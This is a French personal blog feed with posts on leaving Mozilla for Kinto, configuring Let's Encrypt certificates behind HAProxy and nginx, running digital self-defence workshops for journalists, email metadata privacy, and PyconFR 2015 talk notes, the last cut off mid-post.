<p>L'Utopie, c'est l'horizon. C'est ce qui permet d'avoir une direction,
de mettre un pied devant l'autre, de savoir vers où marcher.</p>
</blockquote>
<p>Il y a presque 4 ans et demi, je commençais …</p><p>headline : Temps de changer d'horizon. Mon départ de Mozilla et le début d'une nouvelle histoire.
image : images/horizon.jpg</p>
<blockquote>
<p>L'Utopie, c'est l'horizon. C'est ce qui permet d'avoir une direction,
de mettre un pied devant l'autre, de savoir vers où marcher.</p>
</blockquote>
<p>Il y a presque 4 ans et demi, je commençais à travailler, en décembre,
pour Mozilla. Je me rappelle bien de ces premiers instants un peu
magiques, qui ont eu lieu juste avant une descente de cave en Bourgogne
avec Tarek pour y déguster quelques saveurs de vins différentes.</p>
<p>Quatre ans plus tard, je me retrouve à coder sur Daybed, mon petit
projet perso, devenu <a href="http://kinto.readthedocs.org/">Kinto</a> avec une
équipe de personnes plus talentueuses et sympathiques les unes que les
autres (Niko, Rémy, Mat, si vous me lisez…).</p>
<p>Mozilla a bien évolué en quelques années: les petits bureaux ou j'avais
atterri se sont transformés en palace où il est possible d'accueillir
des membres de la communauté du logiciel libre de manière quotidienne.</p>
<p>De 14 personnes dans les bureaux Parisiens, nous sommes passés à une
40aine (et de \~500 salariés à 1100 dans le monde).</p>
<p>Grandir autant en si peu de temps est un challenge difficile à tenir,
qui nécessite des réorganisations et bien souvent dans une structure de
cette taille, de la hiérarchisation. En 4 ans j'ai eu au moins 5
changements de supérieurs, pour finalement arriver à une situation
plutôt convenable (mais quand même !)</p>
<p>J'ai choisi de rejoindre Mozilla parce que j'ai besoin de causes à
défendre, qui me saisissent et qui me guident. Aujourd'hui, une des
visions qui m'anime, c'est celle que d'autres ont déjà ouverte: celle de
données et de vie privée qui sont rendues à leurs utilisateurs.</p>
<p>Et je veux faire en sorte de réaliser ces «rêves d'un monde meilleur»,
ce qui veut dire pour moi qu'il est temps de partir vers des horizons
plus propices à cette vision.</p>
<p>Lesquels ? Cela reste à construire (mais je vous le dis, y'a du Kinto
dedans !)</p>
<h2>La suite ?</h2>
<p>Sans m'étaler, je veux prendre du temps pour quelques projets autour du
stockage de données (via Kinto), de l'auto défense numérique (via des
formations) et de la fabrication de bière artisanale (parce que bon, on
se refait pas !)</p>
<p>Évidemment, plein d'envies diverses et variées, envie de me balader un
peu et d'expérimenter des choses collectivement...</p>
<p>On se recroisera surement :)</p>Let's Encrypt + HAProxy2016-02-11T00:00:00+01:002016-02-11T00:00:00+01:00tag:blog.notmyidea.org,2016-02-11:/lets-encrypt-haproxy.html<p><em>Note : Cet article n'est plus à jour. Il est maintenant (2018) possible d'installer des certificats SSL Let's Encrypt d'une manière beaucoup plus simple, en utilisant certbot (et le plugin nginx <code>certbot --nginx</code>).</em></p>
<blockquote>
<p>It’s time for the Web to take a big step forward in terms of security
and privacy …</p></blockquote><p><em>Note : Cet article n'est plus à jour. Il est maintenant (2018) possible d'installer des certificats SSL Let's Encrypt d'une manière beaucoup plus simple, en utilisant certbot (et le plugin nginx <code>certbot --nginx</code>).</em></p>
<blockquote>
<p>It’s time for the Web to take a big step forward in terms of security
and privacy. We want to see HTTPS become the default. Let’s Encrypt
was built to enable that by making it as easy as possible to get and
manage certificates.</p>
<p>-- <a href="https://letsencrypt.org/">Let's Encrypt</a></p>
</blockquote>
<p>Depuis début Décembre, la nouvelle <em>autorité de certification</em> Let's
Encrypt est passée en version <em>Beta</em>. Les certificats SSL sont un moyen
de 1. chiffrer la communication entre votre navigateur et le serveur et
2. un moyen d'être sur que le site Web auquel vous accédez est celui
auquel vous pensez vous connecter (pour éviter des <a href="https://fr.wikipedia.org/wiki/Attaque_de_l'homme_du_milieu">attaques de l'homme
du milieu</a>).</p>
<p>Jusqu'à maintenant, il était nécessaire de payer une entreprise pour
faire en sorte d'avoir des certificats qui évitent d'avoir ce genre
d'erreurs dans vos navigateurs:</p>
<p><img alt="Message de firefox lorsque une connexion n'est pas
sécurisée." src="%7Bfilename%7D/static/unsecure-connection.png"></p>
<p>Maintenant, grâce à Let's Encrypt il est possible d'avoir des
certificats SSL <strong>gratuits</strong>, ce qui représente un grand pas en avant
pour la sécurité de nos communications.</p>
<p>Je viens de mettre en place un procédé (assez simple) qui permet de
configurer votre serveur pour générer des certificats SSL valides avec
Let's Encrypt et le répartiteur de charge
<a href="http://www.haproxy.org/">HAProxy</a>.</p>
<p>Je me suis basé pour cet article sur
d'<a href="https://blog.infomee.fr/p/letsencrypt-haproxy">autres</a>
<a href="http://blog.victor-hery.com/article22/utiliser-let-s-encrypt-avec-haproxy">articles</a>,
dont je vous recommande la lecture pour un complément d'information.</p>
<h2>Validation des domaines par Let's Encrypt</h2>
<p>Je vous passe les détails d'installation du client de Let's Encrypt, qui
sont <a href="https://github.com/letsencrypt/letsencrypt#installation">très bien expliqués sur leur
documentation</a>.</p>
<p>Une fois installé, vous allez taper une commande qui va ressembler à:</p>
<div class="highlight"><pre><span></span><span class="err">letsencrypt-auto certonly --renew-by-default</span>
<span class="err">--webroot -w /home/www/letsencrypt-requests/ \</span>
<span class="err">-d hurl.kinto-storage.org \</span>
<span class="err">-d forums.kinto-storage.org</span>
</pre></div>
<p>Le <em>webroot</em> est l'endroit ou les preuves de détention du domaine vont
être déposées.</p>
<p>Lorsque les serveurs de Let's Encrypt vont vouloir vérifier que vous
êtes bien à l'origine des demandes de certificats, ils vont envoyer une
requête HTTP sur <code>http://domaine.org/.well-known/acme-challenge</code>, ou il
voudra trouver des informations qu'il aura généré via la commande
<code>letsencrypt-auto</code>.</p>
<p>J'ai choisi de faire une règle dans haproxy pour diriger toutes les
requêtes avec le chemin <code>.well-known/acme-challenge</code> vers un <em>backend</em>
nginx qui sert des fichiers statiques (ceux contenus dans
<code>/home/www/letsencrypt-requests/</code>).</p>
<p>Voici la section de la configuration de HAProxy (et <a href="https://github.com/almet/infra/blob/master/haproxy/haproxy.cfg#L63-L72">la configuration
complete</a>
si ça peut être utile):</p>
<div class="highlight"><pre><span></span><span class="n">frontend</span> <span class="n">http</span>
<span class="n">bind</span> <span class="mi">0</span><span class="p">.</span><span class="mi">0</span><span class="p">.</span><span class="mi">0</span><span class="p">.</span><span class="mi">0</span><span class="p">:</span><span class="mi">80</span>
<span class="k">mode</span> <span class="n">http</span>
<span class="n">default_backend</span> <span class="n">nginx_server</span>
<span class="n">acl</span> <span class="n">letsencrypt_check</span> <span class="n">path_beg</span> <span class="o">/</span><span class="p">.</span><span class="n">well</span><span class="o">-</span><span class="n">known</span><span class="o">/</span><span class="n">acme</span><span class="o">-</span><span class="n">challenge</span>
<span class="n">use_backend</span> <span class="n">letsencrypt_backend</span> <span class="k">if</span> <span class="n">letsencrypt_check</span>
<span class="n">redirect</span> <span class="n">scheme</span> <span class="n">https</span> <span class="n">code</span> <span class="mi">301</span> <span class="k">if</span> <span class="o">!</span><span class="err">{</span> <span class="n">ssl_fc</span> <span class="err">}</span> <span class="o">!</span><span class="n">letsencrypt_check</span>
<span class="n">backend</span> <span class="n">letsencrypt_backend</span>
<span class="n">http</span><span class="o">-</span><span class="n">request</span> <span class="k">set</span><span class="o">-</span><span class="n">header</span> <span class="k">Host</span> <span class="n">letsencrypt</span><span class="p">.</span><span class="n">requests</span>
<span class="k">dispatch</span> <span class="mi">127</span><span class="p">.</span><span class="mi">0</span><span class="p">.</span><span class="mi">0</span><span class="p">.</span><span class="mi">1</span><span class="p">:</span><span class="mi">8000</span>
</pre></div>
<p>Et celle de NGINX:</p>
<div class="highlight"><pre><span></span><span class="err">server {</span>
<span class="err"> listen 8000;</span>
<span class="err"> server_name letsencrypt.requests;</span>
<span class="err"> root /home/www/letsencrypt-requests;</span>
<span class="err">}</span>
</pre></div>
<h2>Installation des certificats dans HAProxy</h2>
<p>Vos certificats SSL devraient être générés dans <code>/etc/letsencrypt/live</code>,
mais ils ne sont pas au format attendu par haproxy. Rien de grave, la
commande suivant convertit l'ensemble des certificats en une version
compatible avec
HAProxy:</p>
<div class="highlight"><pre><span></span><span class="err">cat /etc/letsencrypt/live/domaine.org/privkey.pem /etc/letsencrypt/live/domaine.org/fullchain.pem > /etc/ssl/letsencrypt/domaine.org.pem</span>
</pre></div>
<p>Et ensuite dans la configuration de haproxy, pour le (nouveau)
<em>frontend</em> https:</p>
<div class="highlight"><pre><span></span><span class="err">bind 0.0.0.0:443 ssl no-sslv3 crt /etc/ssl/letsencrypt</span>
</pre></div>
<p>Faites bien attention à avoir un <em>frontend</em> https pour tous vos sites en
HTTPS. <a href="https://github.com/almet/infra/blob/master/haproxy/haproxy.cfg#L38-L60">Pour moi cela ressemble à
ça</a>.</p>
<p>Une fois tout ceci fait, redémarrez votre service haproxy et zou !</p>
<h2>Automatisation</h2>
<p>Pour automatiser un peu tout ça, j'ai choisi de faire ça comme suit:</p>
<ul>
<li>Un fichier domaine dans <code>letsencrypt/domains/domain.org</code> qui
contient le script <code>letsencrypt</code>.</li>
<li>Un fichier d'installation de certificats dans
<code>letsencrypt/install-certs.sh</code> qui s'occupe d'installer les
certificats déjà générés.</li>
</ul>
<p>Et voila ! <a href="https://github.com/almet/infra/">Le tout est dans un dépot
github</a>, si jamais ça peut vous servir,
tant mieux !</p>Ateliers d'autodéfense numérique2016-01-14T00:00:00+01:002016-01-14T00:00:00+01:00tag:blog.notmyidea.org,2016-01-14:/ateliers-dautodefense-numerique.html<p>Il y a huit mois, je me rendais compte de l'importance du choix des
outils pour faire face à la surveillance généralisée, et notamment en
rapport au chiffrement des données. Une de mes envies de l'époque était
l'animation d'ateliers.</p>
<blockquote>
<p>Je compte donc:</p>
<ul>
<li>Organiser des ateliers de sensibilisation aux outils de …</li></ul></blockquote><p>Il y a huit mois, je me rendais compte de l'importance du choix des
outils pour faire face à la surveillance généralisée, et notamment en
rapport au chiffrement des données. Une de mes envies de l'époque était
l'animation d'ateliers.</p>
<blockquote>
<p>Je compte donc:</p>
<ul>
<li>Organiser des ateliers de sensibilisation aux outils de
communication, envers mes proches;</li>
<li>Utiliser la communication chiffrée le plus souvent possible, au
moins pour rendre le déchiffrement des messages plus longue,
"noyer le poisson".</li>
</ul>
<p>-- <a href="http://blog.notmyidea.org/chiffrement.html">Chiffrement</a></p>
</blockquote>
<p>J'ai mis un peu de temps à mettre le pied à l'étrier, mais je ressors
finalement du premier atelier que j'ai co-animé avec geb, auprès d'un
public de journalistes.</p>
<p>Pour cette première édition l'idée était à la fois d'aller à la
rencontre d'un public que je connais mal, de leur donner des outils pour
solutionner les problèmes auxquels ils font parfois face, et de me faire
une idée de ce que pouvait être un atelier sur l'autodéfense numérique.</p>
<p>L'objectif pour ce premier atelier était de:</p>
<ol>
<li>Échanger autour des besoins et <strong>faire ressortir des histoires</strong> ou
le manque d'outillage / connaissances à posé problème, dans des
situations concrètes;</li>
<li>Se rendre compte des "conduites à risque", <strong>faire peur</strong> aux
personnes formées pour qu'elles se rendent compte de l'état actuel
des choses;</li>
<li><strong>Proposer des solutions concrètes</strong> aux problèmes soulevés, ainsi
que le minimum de connaissance théorique pour les appréhender.</li>
</ol>
<h2>1. Faire ressortir les problèmes</h2>
<p>Afin de faire ressortir les problèmes, nous avons choisi de constituer
des petits groupes de discussion, afin de faire des "Groupes d'Interview
Mutuels", ou "GIM":</p>
<blockquote>
<p>l’animateur invite les participants à se regrouper par trois, avec des
personnes qu’on connaît moins puis invite chacun à livrer une
expérience vécue en lien avec le thème de la réunion et les deux
autres à poser des questions leur permettant de bien saisir ce qui a
été vécu.</p>
<p>-- «<a href="http://www.scoplepave.org/pour-s-ecouter">Pour s'écouter</a>», SCOP
Le Pavé.</p>
</blockquote>
<p>De ces <em>GIMs</em> nous avons pu ressortir quelques histoires, gravitant
autour de:</p>
<ul>
<li><strong>La protection des sources (d'information)</strong>: Comment faire pour
aider quelqu'un à faire "fuiter" des données depuis l'intérieur
d'une entreprise ?</li>
<li><strong>Le chiffrement de ses données</strong>: Comment éviter de faire "fuiter"
des données importantes lors d'une perquisition de matériel ?</li>
</ul>
<h2>2. Faire peur</h2>
<p>Un des premiers objectifs est de faire peur, afin que tout le monde se
rende compte à quel point il est facile d'accéder à certaines données.
<a href="http://blog.barbayellow.com/">Grégoire</a> m'avait conseillé quelques
petites accroches qui ont ma foi bien marché:</p>
<p>J'ai demandé aux présent.e.s de:</p>
<ul>
<li>donner leur mot de passe à voix haute devant les autres: a priori
personne ne le fera;</li>
<li>venir se connecter à leur compte email depuis mon ordinateur. J'ai
piégé une personne, qui est venu pour taper son mot de passe.</li>
</ul>
<p>Cela à été un bon moyen de parler de l'importance des traces que l'on
peut laisser sur un ordinateur, et de la confiance qu'il faut avoir dans
le matériel que l'on utilise, à fortiori si ce ne sont pas les vôtres.</p>
<p>Pour continuer à leur faire peur, après une brève explication de ce
qu'est SSL nous avons montré comment il était facile de scruter le
réseau à la recherche de mots de passe en clair.</p>
<h2>3. Proposer des solutions concrêtes</h2>
<p>Une fois que tout le monde avait pleinement pris sonscience des
problématiques et n'osait plus utiliser son ordinateur ou son
téléphone, on à commencé à parler de quelques solutions. Plusieurs
approches étaient possibles ici, nous avons choisi de présenter quelques
outils qui nous semblaient répondre aux attentes:</p>
<ul>
<li>On a expliqué ce qu'était <a href="https://tails.boum.org">Tails</a>, et
comment l'utiliser et le dupliquer.</li>
<li>On a pu faire un tour des outils existants sur Tails, notamment
autour de l'<em>anonymisation</em> de fichiers et la suppression effective
de contenus.</li>
<li>Certaines personnes ont pu créer une clé tails avec la persistance
de configurée.</li>
<li>Nous nous sommes connectés au réseau
<a href="https://www.torproject.org">Tor</a> et testé que nos adresses IP
changeaient bien à la demande.</li>
<li>Nous avons utilisé <a href="https://crypto.cat">CryptoCat</a> par dessus Tor,
afin de voir comment avoir une conversation confidentielle dans
laquelle il est possible d'échanger des fichiers.</li>
</ul>
<h2>Retours</h2>
<p>D'une manière générale, pour une formation de trois heures et demi, je
suis assez content de l'exercice, et de l'ensemble des sujets que nous
avons pu couvrir. Il y a beaucoup de place pour l'amélioration,
notamment en amont (j'avais par exemple oublié d'amener avec moi
suffisamment de clés USB pour utiliser Tails).</p>
<p>La plupart des retours qu'on a pu avoir jusqu'à maintenant sont
positifs, et il y a l'envie d'aller plus loin sur l'ensemble de ces
sujets.</p>
<h2>La suite</h2>
<p>Il y a beaucoup de sujets que nous n'avons pas abordés, ou uniquement
survolés, à cause du manque de temps disponible. Idéalement, il faudrait
au moins une journée entière pour couvrir quelques sujets plus en détail
(on peut imaginer avoir une partie théorique le matin et une partie
pratique l'après-midi par exemple).</p>
<p>J'ai choisi volontairement de ne pas aborder le chiffrement des messages
via PGP parce que <a href="%7Bfilename%7D2015.05.pgp-problemes.rst">je pense que la protection que ce média propose n'est
pas suffisante</a>, mais je suis
en train de revenir sur ma décision: il pourrait être utile de présenter
l'outil, à minima, en insistant sur certaines de ses faiblesses.</p>
<p>Un compte twitter à été créé recemment autour des crypto-party à Rennes,
si vous êtes interessés, <a href="https://twitter.com/CryptoPartyRNS">allez jeter un coup
d'œil</a>!</p>
<p>Je n'ai pas trouvé de ressources disponibles par rapport à des plans de
formation sur le sujet, j'ai donc décidé de publier les nôtres, afin de
co-construire avec d'autres des plans de formation.</p>
<p>Ils sont pour l'instant disponibles <a href="http://autodefense-numerique.readthedocs.org/en/latest/">sur Read The
Docs</a>. Tous les
retours sont évidemment les bienvenus !</p>Le mail doit-il mourir ?2015-11-24T00:00:00+01:002015-11-24T00:00:00+01:00tag:blog.notmyidea.org,2015-11-24:/le-mail-doit-il-mourir.html<p>J'utilise quotidiennement le protocole email, tant bien que mal, tout en sachant que l'ensemble de mes messages passent en clair sur le réseau pour la plupart de mes conversations, puisque trop peu de monde utilise le chiffrement des messages.</p>
<p>Et même si j'arrive à convaincre certains de mes proches à …</p><p>J'utilise quotidiennement le protocole email, tant bien que mal, tout en sachant que l'ensemble de mes messages passent en clair sur le réseau pour la plupart de mes conversations, puisque trop peu de monde utilise le chiffrement des messages.</p>
<p>Et même si j'arrive à convaincre certains de mes proches à installer PGP, je ne suis pas satisfait du résultat: les méta-données (qui contacte qui à quel
moment, et pour lui dire quoi) transitent de toute manière, elles, en clair, à la vue de tous.</p>
<p>Ce problème est lié directement au protocole email: il est <em>necessaire</em> de faire fuiter ces meta-données (au moins le destinataire) pour avoir un protocole
mail fonctionnel.</p>
<p>Le mail répond à un besoin de communication asynchrone qui permet des conversations plus réfléchies qu'un simple chat (miaou). Il est tout à fait possible d'utiliser certaines technologies existantes afin de construire le futur de l'email, pour lequel:</p>
<ul>
<li>Les méta-données seraient chiffrées — Il n'est pas possible de savoir qui
communique avec qui, et quand;</li>
<li>Le chiffrement serait fort (et protégé d'une phrase de passe ?);</li>
<li>La fuite d'une clé de chiffrement utilisée dans un échange ne permette pas de
déchiffrer l'ensemble des échanges (forward secrecy);</li>
<li>Il ne soit pas possible de réutiliser les données comme preuve pour
incriminer l'emmeteur du message (deniability);</li>
</ul>
<p>Avec au moins ces besoins en tête, il semble qu'une revue de l'ensemble des projets existants pointe du doigt vers <a href="https://github.com/agl/pond">pond</a>, ou vers <a href="https://www.whispersystems.org">Signal</a>.</p>
<p>Malheureusement, Pond est le projet d'une seule personne, qui veut plutôt utiliser ce code comme démonstration du concept en question.</p>Rencontres python francophones, 20152015-11-02T00:00:00+01:002015-11-02T00:00:00+01:00tag:blog.notmyidea.org,2015-11-02:/rencontres-python-francophones-2015.html<p>J'ai pris quelques notes durant la conférence annuelle de PyconFR, qui avait
lieu à Pau cette année, et les ai publiées entre deux étapes des vacances qui
ont suivi. Je prends maintenant un peu plus de temps pour ranger toutes ces
notes au bon endroit.</p>
<p>C'était un excellent cru: l'organisation …</p><p>J'ai pris quelques notes durant la conférence annuelle de PyconFR, qui avait
lieu à Pau cette année, et les ai publiées entre deux étapes des vacances qui
ont suivi. Je prends maintenant un peu plus de temps pour ranger toutes ces
notes au bon endroit.</p>
<p>C'était un excellent cru: l'organisation était vraiment impressionnante (merci
, si vous me lisez !). Et puis comme toujours l'occasion de recroiser quelques
copains, et d'en découvrir quelques autres... J'en ai profité pour parler de
Kinto (voici d'ailleurs <a class="reference external" href="http://alexis.notmyidea.org/kinto-pycon/">les slides de la présentation que j'ai faite</a>).</p>
<p>Parmis les conférences qui m'ont marquées, je vous conseille <a class="reference external" href="https://blog.notmyidea.org/pyconfr-2015-hospital-des-tests-en-prod.html">celle de Benoit
Bryon, sur Hospital</a>, qui parle de
heartbeat, ou de comment tester vos projets en prod, et celle <a class="reference external" href="https://blog.notmyidea.org/pyconfr-2015-geoalchemy.html">sur Geo Alchemy,
par Éric Lemoine</a>. Et bien sur, <a class="reference external" href="https://blog.notmyidea.org/pyconfr-2015-cliquet.html">celle
de Mathieu Leplatre sur Cliquet</a>, le
toolkit qui rassemble les bonnes pratiques que nous souhaitons mettre en avant
chez Mozilla services, mais là, je suis tout sauf impartial !</p>
<p>Sinon, il peut être interessant de jeter un coup d'oeil au <a class="reference external" href="https://blog.notmyidea.org/pyconfr-2015-table-ronde-diversite.html">compte rendu de la
table ronde sur la diversité</a>, si c'est un sujet qui vous
touche. Encore beaucoup de choses à faire sur le sujet, bien sur, mais cette table ronde
était un pas nécessaire dans la bonne direction. Un groupe de travail sur le
sujet est en train de se constituer au sein de l'association.</p>
<p>L'ensemble des notes que j'ai pu prendre sont disponibles dans la section <a class="reference external" href="http://blog.notmyidea.org/category/pyconfr2015.html">PyconFR 2015</a>.</p>
PyconFR 2015 — Assemblée générale2015-10-18T00:00:00+02:002015-10-18T00:00:00+02:00tag:blog.notmyidea.org,2015-10-18:/pyconfr-2015-assemblee-generale.html<div class="admonition note">
<p class="first admonition-title">Note</p>
<p class="last">Voici quelques notes prises durant la PyconFR 2015, à Pau. N'hésitez pas
à les completer si besoin.</p>
</div>
<p>Mot de feth sur Nelle, qui était une présidente très présente. Merci !</p>
<div class="section" id="passe">
<h2>Passé</h2>
<p>Il existe des communautés locales à Lyon Grenoble, Nantes.
Des Afpyro ont été organisés dans toutes ces villes + Rennes …</p></div><div class="admonition note">
<p class="first admonition-title">Note</p>
<p class="last">Voici quelques notes prises durant la PyconFR 2015, à Pau. N'hésitez pas
à les completer si besoin.</p>
</div>
<p>Mot de feth sur Nelle, qui était une présidente très présente. Merci !</p>
<div class="section" id="passe">
<h2>Passé</h2>
<p>Il existe des communautés locales à Lyon Grenoble, Nantes.
Des Afpyro ont été organisés dans toutes ces villes + Rennes + Marseille
Support pour 2 Django Carrots.
Par rapport au mentoring, très peu de retours, peut etre de nouvelles choses
à faire.</p>
<p>FOSDEM 2015 était complet. Il y avait une salle python tojours pleine.
Dsicussions sur la diversité.</p>
</div>
<div class="section" id="futur">
<h2>Futur</h2>
<p>Amandine propose d'organiser des soirées à NUMA l'an prochain.
Global code retreat: participation
Migrer le serveur de l'AFPY
Reboot des status: nos pratiques ne sont pas en ligne avec nos status.
Mise en place de mentoring pour python.</p>
<div class="section" id="status">
<h3>Status</h3>
<p>Comité directeur renouvelé par tiers. Il est composé de 18 personnes. Les
discussions qui sont dans le CD n'en sortent pas, et les discussions sont donc
effectuées en priuvées.</p>
<p>L'idée actuelle serait de réduire le CD de 18 à 9 personnes. Tout le travail
serait fait en dehors du CD. Il est possible de mettre en place un groupe de
travail pour travailler sur l'évolution de la charte.</p>
<p>Il faut faire évoluer les status: ils ne sont pas actuellement bien faits par
rapport à notre utilisation.</p>
</div>
</div>
PyconFR 2015 — Hospital - des tests en prod2015-10-18T00:00:00+02:002015-10-18T00:00:00+02:00tag:blog.notmyidea.org,2015-10-18:/pyconfr-2015-hospital-des-tests-en-prod.html<div class="admonition note">
<p class="first admonition-title">Note</p>
<p class="last">Voici quelques notes prises durant la PyconFR 2015, à Pau. N'hésitez pas
à les completer si besoin.</p>
</div>
<p>Speaker: Benoit Bryon, Peopledoc.</p>
<p>Pour une procédure de déploiement, comment est-ce qu'on valide que tout va bien
une fois que tout est dépoyé ? Si on a une application très simple (upload et …</p><div class="admonition note">
<p class="first admonition-title">Note</p>
<p class="last">Voici quelques notes prises durant la PyconFR 2015, à Pau. N'hésitez pas
à les completer si besoin.</p>
</div>
<p>Speaker: Benoit Bryon, Peopledoc.</p>
<p>Pour une procédure de déploiement, comment est-ce qu'on valide que tout va bien
une fois que tout est dépoyé ? Si on a une application très simple (upload et
envoi de fichiers).</p>
<p>Pour des applications plus complexes, il y a beaucoup de choses à tester (base
de données, cache, email, etc). Beaucoup de parties sont utiles: reverse
proxy, django, base de données etc.</p>
<p>Lors d'un déploiement, comment faire pour vérifier que tout tourne lorsque tout
est déployé ?</p>
<div class="section" id="comment-faire">
<h2>Comment faire ?</h2>
<ul class="simple">
<li>Les tests permettent de tester hors sol.</li>
<li>Le provisionning permet de valider que tout tourne correctement, mais</li>
<li>simplement au démarrage. Les pannes ne sont pas détectées.</li>
<li>Le logging va permettre de detecter les erreurs, mais trop tard.</li>
<li>Le monitoring permet d'avoir une vue de l'exterieur.</li>
</ul>
<p>Hostpital propose de faire des assertions sur la configuration,
l'environnement, <em>en cours de fonctionnement</em>. Ce sont les developeurs qui
ajoutent ces assertions.</p>
<p>Cela peut servir à valider un déploiement, pour etre rassuré une fois que le
déploiement effectué. Cela peut aussi service à surveiller un service et
diagnostiquer les problèmes.</p>
</div>
<div class="section" id="hospital">
<h2>Hospital</h2>
<dl class="docutils">
<dt>::</dt>
<dd>pip install hospital</dd>
</dl>
<p>Hospital est un outil en python. On définit des tests, de la même manière que
l'on définit des tests unitaires. On fait des assertions, comme pour les tests
unitaires. Hospital propose des helpers pour les cas courants:
<cite>assert_http_response</cite> ou <cite>assert_ping</cite>.</p>
<p>La vue est une vue de l'intérieur. La différence avec le monitoring est que
l'on teste la connectivité entre les services (exemple d'une requete
elasticsearch qui échoue depuis un service django).</p>
<p>Pour la supervision, les healthchecks sont lancés avec une ligne de commande
<cite>hospital-cli</cite>. Il est possible de lancer également ces tests avec nose ou
py.test.</p>
<p>Il est aussi possible de faire le monitoring avec une API HTTP <cite>hospital
serve</cite>.</p>
<div class="section" id="les-lacunes-de-hospital">
<h3>Les lacunes de hospital</h3>
<p>Les healthchecks sont fait actuellement en synchrone. Cela peut prendre du
temps. Il pourrait etre interessant de lancer des taches de manière distribuée
/ en paralelle.</p>
<p>Il pourrait etre utile de faire la distinction entre les smoketests et les
diagnostiques: les premiers sont des petits checks qui permettent de dire si ça
marche, de manière très simple. De l'autre coté, les diagnostiques seraient eux
plus fins.</p>
</div>
</div>
<div class="section" id="wrap-up">
<h2>Wrap up</h2>
<p>Validez votre configuration, la connectivité avec les services externes. Faites
des tests souvent !</p>
</div>
PyconFR 2015 — We don't need your loop2015-10-18T00:00:00+02:002015-10-18T00:00:00+02:00tag:blog.notmyidea.org,2015-10-18:/pyconfr-2015-we-dont-need-your-loop.html<div class="admonition note">
<p class="first admonition-title">Note</p>
<p class="last">Voici quelques notes prises durant la PyconFR 2015, à Pau. N'hésitez pas
à les completer si besoin.</p>
</div>
<p>Speaker: serge_sans_paille.</p>
<p>Retour sur le passé des boucles: ASM, fortran, C. Avec APL, la boucle est
cachée au fur et à mesure des évolutions. Écrire une boucle ne devrait pas etre
exprimer …</p><div class="admonition note">
<p class="first admonition-title">Note</p>
<p class="last">Voici quelques notes prises durant la PyconFR 2015, à Pau. N'hésitez pas
à les completer si besoin.</p>
</div>
<p>Speaker: serge_sans_paille.</p>
<p>Retour sur le passé des boucles: ASM, fortran, C. Avec APL, la boucle est
cachée au fur et à mesure des évolutions. Écrire une boucle ne devrait pas etre
exprimer comment atteindre le resultat.</p>
<p>En python, par exemple, il vaut mieux utiliser <cite>sum</cite> plutôt que de faire
l'addition nous même (pour faire une addition des elements d'une liste).</p>
<p>Actuellement, le compilateur python est lent si on utilise numpy.sum sur des
matrices complexes.</p>
<div class="section" id="comment-aller-plus-vite">
<h2>Comment aller plus vite?</h2>
<p>Cython est assez compliqué, il faut savoir ce que l'on fait pour optimiser et
écrire du bon code Cython.</p>
<p>Avec pythran, l'intelligence est dans le compilateur, qui permet d'écrire
notemment des boucles correctement.</p>
<p>En donnant plus d'informaitons au compilateur, plutôt que de faire des boucles,
cela lui permet d'avoir un contexte qui lui permet d'optimiser le code.</p>
<p>Par contre, cela veut dire que plus de connaissances sont necessaire pour lire
le code python.</p>
<p>pythran permet de compiler directement vers du C++ sans avoir à changer son
code de base (python). C'est utile pour du code numpy notemment.</p>
</div>
<div class="section" id="questions">
<h2>Questions</h2>
<p>Possible de paralelliser de manière explicite <strong>ou</strong> implicite.</p>
<p><strong>C'est très utile pour les gens qui font du "number crunching". Est-ce que
c'est utile pour d'autres domaines d'application (Web)?</strong></p>
<p>Pas vraiment. CPython est déjà bien fait pour ces cas d'utilisation.</p>
<p><strong>Est-il possible de lancer pythran sans faire de commentaires ?</strong></p>
<p>C'est possible mais cela ne servira pas à grand chose. Il est necessaire de
connaitre le type des objets qui sont utilisés lors des boucles.</p>
<p><strong>Est-ce que vous songez à un compilateur à la volée ?</strong></p>
<p>De gros efforts ont été faits dernièrement pour diminuer le temps de
compilation. Mais pour une fonction qui renvoie None prends de l'ordre d'une
seconde ou une demi seconde. Ce n'est pas très utile pour un compilateur à la
volée puisqu'il faudrait des gains de perfs supérieurs à cela.</p>
</div>
PyconFR 2015 — Cliquet2015-10-17T00:00:00+02:002015-10-17T00:00:00+02:00tag:blog.notmyidea.org,2015-10-17:/pyconfr-2015-cliquet.html<div class="admonition note">
<p class="first admonition-title">Note</p>
<p class="last">Voici quelques notes prises durant la PyconFR 2015, à Pau. N'hésitez pas
à les completer si besoin.</p>
</div>
<p>Speaker: Mathieu Leplatre (@leplatrem), Mozilla</p>
<p>Toolkit HTTP, pour éventuellement faire des microservices.</p>
<ol class="arabic simple">
<li>Origines</li>
<li>Protocole</li>
<li>Toolkit</li>
<li>Conversation</li>
</ol>
<div class="section" id="origines">
<h2>Origines</h2>
<p>Stockage de données, Cloud Services, Mozilla.
Le boulot, c'est de faire des APIs. On nous …</p></div><div class="admonition note">
<p class="first admonition-title">Note</p>
<p class="last">Voici quelques notes prises durant la PyconFR 2015, à Pau. N'hésitez pas
à les completer si besoin.</p>
</div>
<p>Speaker: Mathieu Leplatre (@leplatrem), Mozilla</p>
<p>Toolkit HTTP, pour éventuellement faire des microservices.</p>
<ol class="arabic simple">
<li>Origines</li>
<li>Protocole</li>
<li>Toolkit</li>
<li>Conversation</li>
</ol>
<div class="section" id="origines">
<h2>Origines</h2>
<p>Stockage de données, Cloud Services, Mozilla.
Le boulot, c'est de faire des APIs. On nous demande de faire des APIs, tout
le temps.</p>
<p>Souvent, les mêmes questions sont à l'ordre du jour. Heartbeat, codes
d'erreurs, etc. L'inventaire de tout ce qui est attendu d'une API, au dela de
ce qui est la valeur ajoutée du service.</p>
<p>Définition d'un protocole. Définir une API REST n'est pas aussi évident qu'il
y parait. Il faut définir les formats de JSON, les status, etc.</p>
<p>La réutilisation de certaines protocoles existants était possible (Sync, en
production depuis quelques années).</p>
<p>Réutiliser du code nous permettait et faire un template pour démarrer plus
facilement, pour se concentrer sur le métier de l'API. Puisque les besoins ne
sont pas toujours les mêmes, avoir une boite à outil permet de choisir ce que
l'on souhaite.</p>
</div>
<div class="section" id="protocole">
<h2>Protocole</h2>
<ul class="simple">
<li>Création d'un protocole qui respecte les bonnes pratiques. CORS, avoir les
bons codes de status, arrêter de se poser toujours les mêmes questions.
Contrairement à ce qu'on imagine, la spécification HTTP n'est pas si facile
à suivre. Plutôt que d'écrire un document, un toolkit à été créé.</li>
<li>Les ops ont besoin de quelques endpoints: un heartbeat (monitoring) des
endpoints de batch, un endpoint "hello", pour connaitre le type de service,
ses URLs etc.</li>
<li>La service renvoie toujours un JSON avec la description de l'erreur. Cela
permet d'avoir tout le temps la même gestion des erreurs. Utilisation du
